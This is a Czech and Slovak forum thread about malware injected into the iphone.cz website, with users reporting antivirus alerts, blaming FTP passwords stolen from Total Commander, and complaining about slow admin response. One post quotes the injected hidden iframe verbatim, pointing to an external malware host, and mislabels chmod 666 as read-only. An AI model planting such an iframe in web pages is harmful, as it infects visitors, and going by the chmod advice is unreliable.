Viry na www.iphone.cz

Ahoj lidi, mám takový problém, vždy když jdu na http://www.iphone.cz tak se mi objeví dvě hlášky o virech na stránce (mám Avast 4 home)
Máte někdo stejný problém?

Naposledy upravil Yreg dne pon dub 20, 2009 8:00 pm, celkově upraveno 2

Áno, už sa tu o tom pár krát diskutovalo, viac menej to nikto nerieši. Niektorí moderátori tvrdia, že to tak nie je (že sa jedná o "chybu" - ???), nejaký užívateľ tvrdil, že je tam vírus ktorý si ťahá uložené heslá z totalcommandéru a ak získa prístup na nejakú stránku tak sa tam doplní. Viacmenej určite by som tam bez antivíru a nejakého seriózneho prehliadaču nešiel.

edit: pre Julka: rozozná to minimálne Avast, NOD a Google Chrome/Desktop.

u mě nic, divné.. mrknu na to

**iTukan** | pon dub 20, 2009 8:41 pm

Jedna se o vir Iframe...

Julku, staci kdyz se podivam na zdrojovy kod hlavni strany, mas ho hned na zacatku...

Ja napr. hlavni stranku vubec v praci nezobrazim, nase firewally jsou online kontrolovane antiviry a stranky blokuji.

EDIT:
Jo, jestli premyslis jak to odstranit, tak jedine rucne nebo ze zaloh. A hlavne zmenit heslo pro pristup pres FTP.

uhm..aj mne dneska cely cas nod hlasil nejaky virus ae nejak som to podrobnejsie neskumal:P..

Ano, ten vir tam je a nadelal mi nemalou paseku v pracovnim pc :-/

U mna nic nehlasi. Vsetko ide v pohode.

Si robíte srandu nie? Paly, nainštaluj si Avast/NOD alebo Google Desktop/Chrome/Gears a myslím, že aj toolbar to zvládne. Ak máš tak ich aspoň aktualizuj a skús znova.

Ťažko by sa dalo uveriť, že nám to mallware objaví a tebe nie.

**terry** | pon dub 20, 2009 9:07 pm

A co takhle říci Windows ne a přejít na Mac?

pmg, tak asiže to budem skúšať z pc ;)

A terry, páči sa mi tvoja stratégia, majme vírusy na hlavnej stránke a ak bude niekto pindať, odporúčme mu aby si kúpil mac..

Mam MAC a nezobrazuje mi ziadnu hlasku

. Neviem cim to je Yregu, ale myslim, ze to rychlo odstrania. Dufam.

Keď vám priamo napíšem programy, ktoré to vedia zobraziť, tak nie je moc produktívne tam skúsiť príjsť z ľubovoľným počítačom bez nich a napísať "mne to nič nezobrazuje". Je celkom pochopiteľné, že je to vírus len na Windows. Pri podieli, aký má Apple na trhu počítačov sa divím ľuďom, čo robia vírusy na Macy. Je vôbec ttlcmd na mac?

Myslím, že je pre portál dosť hanba, že tam niečo také je a malo by sa to čo najskôr vyriešiť..

**spachal_tmp** | pon dub 20, 2009 9:55 pm

No v kazdem pripade je v IE7 rozhozeny layout, stranky se nacitaji znacne chaoticky. V Gecku, Opere, Chrome i Safari je to v pohode. A nejedna se o nejaky problem s lokalni cache, zkousel jsem to i v IE6 na 'ciste' virtualni masine ..

**iTukan** | úte dub 21, 2009 5:29 am

A je to tu stale... :shock:

V souboru byl nalezen virus Exploit.HTML.IFrame-6

Yregu, divim se, ze se cilis. Zdejsi admini prece maji vzdycky pravdu, a kdyz reknou, ze tam nic neni, tak tam nic neni... :roll:

**burr0head** | úte dub 21, 2009 5:47 am

i Opera a Nod32 to hlasi..kdo neveri, at tam bezi

)

Bych umazal <iframe src="http://sefauro.net/?click=282C89C" width=1 height=1 style="visibility:hidden;position:absolute"></iframe> a nastavil soubor index.php na chmod 666 tj jen na cteni, pak je to v pohode

Stejne jsem to resil na pipni.

**rony** | úte dub 21, 2009 6:37 am

Prosim vas, v pripade virusu tohto typu bude konstruktivni a pre tentoraz si odpustite hlasky o "mam mac, mne sa nic nezobrazuje".

Staci ak tu 1x bola pritomnost virusu preukazana a je treba konat a nie riesit chujoviny. Bez prepacenia za vyraz!!!

Uvedomte si doprdele, ze sem chodia denne tisice ludi, kolko pocitacov ste za tolko hodin vahania nakazili?

Ak je to ten virus aky myslim, tak VSETCI, co mate pristup k hostingu, ZRUSTE pouzivanie Total commanderu az do casu, ked dokazete, ze je bezchybny. Toto urobte bezodkladne!!! A pekne prosim, neoznamujte si to navzajom mailami ale prinajmenej mobilom.

Jedno ci je niekto chory, chromy, lenivy, nasrany, prilis bohaty alebo mrtvy. Musi urobit vsetko nevyhnutne.

Na http://www.iphone.cz to uz reportuje aj Firefox:

Reported Attack Site!

This web site at http://www.iphone.cz has been reported as an attack site and has been blocked based on your security preferences.

Attack sites try to install programs that steal private information, use your computer to attack others, or damage your system.

Some attack sites intentionally distribute harmful software, but many are compromised without the knowledge or permission of their owners.

To znamena, ze uz je iphone.cz v databazach - pekne pani.

Ten majster, co robil uvodnu stranku, pozdravujem!

Virus se sem mohl dostat nekolika zpusoby:

1/ nekdo hacknul webovy server cables.cz - nutno konzultovat s administratorem serveru
2/ nekdo vyuzil diry v phpBB - nutno provest upgrade enginu fora na nejnovejsi verzi
3/ nekdo se dostal k heslu pro pristup na server, kde jsou stranky ulozene - hesla nutno zmenit (v kazdem pripade, bez ohledu jestli pricina je 1/, 2/ nebo 3/)

**rony** | úte dub 21, 2009 7:01 am

s najvacsou pravdepodobnostou je cesta cez Total Commander s ulozenym uctom FTP k iphone.cz zo zavireneho PC u pouzivatela Internet Exploreru. Treba to bezodkladne riesit!!!

* odvirit svoj pocitac
* prestat pouzivat Total Commander na FTP do okamihu ako prejdes na iny FTP program resp. upgradovany TC, ktory zarucene netrpi problemom so sifrovanim hesiel
* zvazit pouzivanie IE
* odstranit virus z uvodnej stranky iphone.cz
* zmenit hesla k FTP uctom
* upgradovat PHPBB pokial je dalsim zdrojom dier
* komunikovat so vsetkymi na hostingu, ktori maju FTP ucty a obdobny problem (TC, IE...)

**iTukan** | úte dub 21, 2009 7:03 am

Rony, doufam, ze to byla vytka na adminy a ne na uzivatele, protoze na zavirovany server bylo upozornovano na zacatku dubna!!! Vzdy s vysledkem, ze to zamcel admin a nic se nedelo, protoze oni nic nevideli a oni jsou bohove...

viz:
http://www.iphone.cables.cz/viewtopic.php?f=1&t=16034&hilit=virus
http://www.iphone.cables.cz/viewtopic.php?f=7&t=16097

Jinak ze tento vir se siri hlavne diky nekodovanym heslum v total commanderu se vi. Ted musi admin serveru zapracovat...

**S474N** | úte dub 21, 2009 7:09 am

LOL., to s tim TC jsem rikal uz davno, ale nikdo neveril, ach jo :roll:

viewtopic.php?f=27&t=16085&p=140405#p140405

**rony** | úte dub 21, 2009 9:12 am

itukan: SAMOZREJME. Len si uvedomte, ze moderatori nie su admini, nemaju ine prava ako tie v diskusnom fore. Netreba si ich pliest. Ani ja ako moderator s tym nic nemozem urobit len plieskat o hlavu kym sa to nezmeni.

Problem je v tom, ze pred par dnami nabehol novy http://www.iphone.cz a virus tam preplachtil tiez.

Ano: moze za to Total Commander!

marek nezvedá telefon, napsal jsem email tomu kdo delal nový iphone.cz .. jiný kontakt bohužel nemám

UP: tak prý opraveno .. někdo to zkontrolujte já mám MAC,
ftp fora a data zde mám ochráněné dobře
na ftp iphone.cz se už nedostanu .. ale snad to opravil koder + necham zmenit heslo na ftp iphone.cz

V Google Chrome to pořád hlásí vir a to jak na iphone.cz tak i tady na fóru.

ok pisu Milanovi at overi forum..

**iTukan** | úte dub 21, 2009 9:55 am

Na foru jsem vira nevidel pred tim a ani ted.

Stranky iphone.cz to bude chtit dostat z blacklistu virovych databazi, jinak to nepujde ani kdyz je to opravene. Dostaly se tam diky tomu, ze byly zavirovany prilis dlouho.

EDIT:
Treba neco pomuze z tohoto:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=cs&site=http://www.iphone.cz/

Po obejiti zabezpeceni na podezrele stranky mi to stranky nacte a vira nehlasi. Ale ta blokace tam asi nejakou dobu bude.

Drsoň mi teď také potvrdil že fórum mám čisté. iPhone.cz si musí zajistit Marek

**waczko** | úte dub 21, 2009 11:32 am

tohle už je blacklist

jj my víme, tohle at si udela marek, koder psal ze je komplet novej zdrojak, prepsana hesla atd..

je to krasny, kdyz pulku dne odstranujete havet z iPhone webu... a jeste krasnejsi, kdyz vite, ze s tim nikdo nic nedela a muze se to stat dalsim a dalsim lidem

ne ne ne pozor, uz to bylo davno odstranene, ted jen ve firefoxu jsme na black listu, ver mi ze jako admin fora delam co muzu aby i iphone.cz bylo ok, bohuzel nemam pristup na ftp co se tyce iphone.cz

Urcite? V prvnim prispevku tohoto vlakna (ze vcerejska) uzivatel tvrdi, ze mu Avast stale hlasi pritomnost viru, ne blacklistovanou adresu.

Mimochodem, ten blacklist neni jen ve Firefoxu, ale asi ve vsech browserech vcetne Safari na Mac OS X:

Ano takato hlaska sa mi zobrazuje od dnesneho rana.

samí problém, používám NODa a Firefox. Jakmile napíšu iphone.cz tak první upozornění ze strany mozilly (blacklist jak jste zmínili) a hned potom NOD na mě bafne, že je nějakej vir v něčem a že pozastavuje stahování dat z iphone.cz

hehe

**iTukan** | úte dub 21, 2009 6:17 pm

nene, vir je odstranen... ve FF sice mam hlasku o blokovani (diky blacklistu), ale pri ignorovani antivir (Avast, AVG) nic nehlasi (rano jeste ano). V IE se dokonce ani hlaska o blokaci nezobrazi a zdrojovy kod je cisty bez iframe... Stranka se zobrazi korektne.

počkáme na google bota až to prolítne, už by to pak mělo být ok

**S474N** | úte dub 21, 2009 10:22 pm

mullDie píše:je to krasny, kdyz pulku dne odstranujete havet z iPhone webu... a jeste krasnejsi, kdyz vite, ze s tim nikdo nic nedela a muze se to stat dalsim a dalsim lidem

Pulku dne? Rozhlidni se poradne, kdy se tady uz na to upozornovalo, ze to tam je :wink:

To je prachsprosty slendrian.

**spachal_tmp** | stř dub 22, 2009 12:30 am

Damy a panove, Julek to uz napsal snad naprosto jasne: nikdo, vcetne jeho jakozto jednoho ze dvou adminu zde na foru, nema krome jisteho pana Marka Zabrodskeho (admina), majitele domeny, moznost toto ovlivnit. Pan Zabrodsky o problemu najisto vi a pokud s tim neudela on nic, my nezmuzeme uz zcela nic. Je to jeho 'vizitka'.

Kontakt na nej je zde: http://www.iphone.cables.cz/memberlist.php?mode=viewprofile&u=2, http://www.iphone.cz/site/kontakt. Pokud mate zajem o reseni, ne jen o jizlive konstatovani stavu veci, kontaktujte jej. Osobne si nemyslim, ze to bude mit nejaky vyznam, ale to je asi tak vse, co s tim my jakozto clenove fora, muzeme udelat.
Pan Zabrodsky bude pravdepodobne osobne pritomny i na blizicim se srazu, muzete to s nim probrat osobne. V uvedenych kontaktech je dostatecne mnoho zpusobu, jak s nim navazat komunikaci.

Je zcela zbytecne zde uvadet nektere argumenty stale dokola, je to prinejmensim ztrata vaseho casu.

A muzete nam verit, ze nas moderatory i admina Julka, kteri mame zajem o co nejlepsi 'beh fora' i webu obecne, to .. mirne receno .. nemrzi. Probirame to (a ne prvne) i mimo verejnou cast fora, ale vysledek je prakticky shodny s tim zde uvadenym. Je zbytecne nam za to nadavat, v tomto pripade proste nemame jakoukoliv moznost tento stav zmenit. Napsal jsem to dostatecne jasne a srozumitelne? Pevne verim, ze ano.

Spachal to krasne vysvetlil, ja zamykam!

Prehľad diskusií na forum.iphone.cz